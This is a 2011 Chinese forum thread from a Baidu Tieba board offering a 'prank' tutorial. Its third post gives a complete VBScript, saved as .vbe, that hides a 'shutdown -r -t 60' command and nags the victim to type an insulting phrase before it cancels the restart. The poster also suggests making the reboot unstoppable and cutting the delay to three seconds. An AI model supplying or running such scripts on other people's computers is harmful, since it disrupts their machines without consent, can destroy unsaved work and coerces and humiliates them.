整人---自动关机小玩意包你一看就会【黑瞳王吧】

02月19日漏签0天

黑瞳王吧关注：859贴子：57,632

1 2 下一页尾页
29回复贴，共2页
，跳到页

<返回黑瞳王吧

整人---自动关机小玩意包你一看就会

只看楼主收藏回复

首先要清楚的知道自己的剪贴板在哪
有的代码无脑CTAL+C 然后+V之后黏贴会丢失一些东西
那么很简单先教你打开剪贴板让你清楚的看到并且不会丢失代码
开始---运行---输入 clipbrd
然后是不是弹开个剪贴板画面了？不用管他最小化

送TA礼物

1楼2011-05-12 13:39回复

我插！！！

IP属地:河南

2楼2011-05-12 13:40

然后复制以下代码
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
复制代码把上面的文字复制到记事本内。另存为名字随便你起记住后面的一定要加 .vbe
clipbrd
文字部分可以根据自己喜好修改比如 Van的菊花有几瓣类似有趣的问题
do while(a <> "我是猪")这是答案如果你恶意让对方自动关机可以随意修改就算打出我是猪也照样重启
shutdown -r -t 60 -c 注意这个60 是时间你猥琐点改成3秒哈哈哈下面你懂得

3楼2011-05-12 13:41